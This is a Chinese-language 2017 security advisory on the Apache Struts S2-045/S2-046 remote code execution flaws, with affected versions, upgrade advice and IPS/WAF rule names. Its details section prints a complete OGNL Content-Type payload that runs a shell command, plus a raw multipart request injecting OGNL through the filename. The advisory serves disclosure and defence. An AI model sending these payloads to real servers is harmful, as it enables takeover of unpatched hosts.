事件通告:(更新)Apache Struts 之S2-045、S2-046弱點可被駭客進行零時差攻擊,建議請儘速確認並進行修正!
2017/03/21
風險等級:
摘  要: 【弱點說明】

根據Apache 更新公告(S2-045、S2-046),駭客可透過http request上傳已修改好的惡意Content-Type、Content-length、Content-Disposition語法,取得目標網站之控制權。另外,駭客更可透過google語法,先進行index:action 大量掃描目標網站IP,接著透過工具或自寫程式送出http request 惡意內容,即可遠端執行任意程式於受害主機上(ex: cat /etc/passwd 等等),或可取得攻擊目標主機資料夾重要檔案。

HiNet SOC目前已驗證攻擊手法可成功運作,受到影響的版本為Struts 2.3.31與Struts 2.5.10 ,另外研究人員掌握國外有效情資,目前已有多個攻擊IP持續掃描攻擊,HiNet SOC 建議管理者應儘速上網更新與阻擋可能攻擊IP,以降低受駭風險。

【影響範圍】

  • Apache struts 2.3.5~2.3.31
  • Apache struts 2.5~2.5.10

【細節描述】

駭客可透過工具程式,對目標網站送出http Request類似封包如下,進而造成目標主機Content-Type未定義之文件類型與Jakarta Multipart parser之漏洞攻擊成功,即可對目標主機遠端執行任意程式:
[範例1]
"%{(#nike=''multipart/form-data'').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context[''com.opensymphony.xwork2.ActionContext.container'']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd=''ifconfig'').(#iswin=(@java.lang.System@getProperty(''os.name'').toLowerCase().contains(''win''))).(#cmds=(#iswin?{''cmd.exe'',''/c'',#cmd}:{''/bin/bash'',''-c'',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"

[範例2]
POST /doUpload.action HTTP/1.1
Host: localhost:8080
Content-Length: 10000000
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryAnmUgTEhFhOZpr9z
Connection: close
------WebKitFormBoundaryAnmUgTEhFhOZpr9z
Content-Disposition: form-data; name="upload"; filename="%{#context[''com.opensymphony.xwork2.dispatcher.HttpServletResponse''].addHeader(''X-Test'',''Kaboom'')}"Content-Type: text/plain

管理者可先自行確認Struts2 版本確認方式如下:

  • 1.MANIFEST.MF 檔案中Bundle-Version說明目前使用版本
  • 2./tomcat/webapps/struts2-showcase/WEB-INF/lib/struts2-core-版本號碼.jar

HiNet SOC 建議管理者應儘速確認主機是否已完成更新,並請盡速評估是否更新Apache Struts 2.3.32或Apache Struts 2.5.10.1以後版本。

【建議措施】

  • 1.IPS、WAF、測試工具偵測S2-045內容規則如下,請參考
  • 廠牌 IPS & WAF規則名稱
    Imperva SecureSphere (WAF) using the long existing “Unauthorized Request Content Type” rule
    Paloalto Apache Struts Jakarta Multipart Parser Remote Code Execution Vulnerability
    Apache Struts Content-Type Remote Code Execution Vulnerability
    SonicWall IPS: 12656 - Apache Struts 2 Jakarta Remote Code Execution (S2-045)
    checkpoint Security Gateway Attack Name: Web Server Enforcement Violation.
    Attack Information: Apache Struts2 Content-Type Remote Code Execution
    Fortinet Apache.Struts.Jakarta.Multipart.Content.Type.Code.Execution
    Radware HTTP-M-ApacheStruts-Jakar-RCE (RWID 17748)
    HTTP-M-ApacheStruts-Jaka1-RCE (RWID 17750)
    IBM HTTP_Apache_Jakarta_Multipart_Exec
    McAfee HTTP: Apache Struts 2 Remote Code Execution (CVE-2017-5638)
    Cisco Sourcefire SID:41818 SERVER-APACHE Apache Struts remote code execution attempt
    SID:41819 SERVER-APACHE Apache Struts remote code execution attempt
    Trend Micro TippingPoint DV filter 27410 HTTP: Apache Struts Content-type Command Injection Vulnerability (CVE-2017-5638)
    Citrix NetScaler https://support.citrix.com/article/CTX138859
    McAfee Vulnerability Manager FID:21490 - Apache Struts Jakarta Multipart Parser Remote Code Execution
    Tenable Nessus plugins ID:97576 Apache Struts 2.3.5 - 2.3.31 / 2.5.x < 2.5.10.1 Jakarta Multipart Parser RCE
    plugins ID:97610 Apache Struts 2.3.5 - 2.3.31 / 2.5.x < 2.5.10.1 Jakarta Multipart Parser RCE (remote)

  • 2.S2-046版本目前尚無釋出規則,HiNet-SOC會密切注意是否有新的IPS&WAF規則釋出,在進行公告通知

【參考資料】

【更新紀錄】

  • v1.0 (2017/03/08):發佈事件通告。
  • v2.0 (2017/03/21):發佈事件更新資料通告。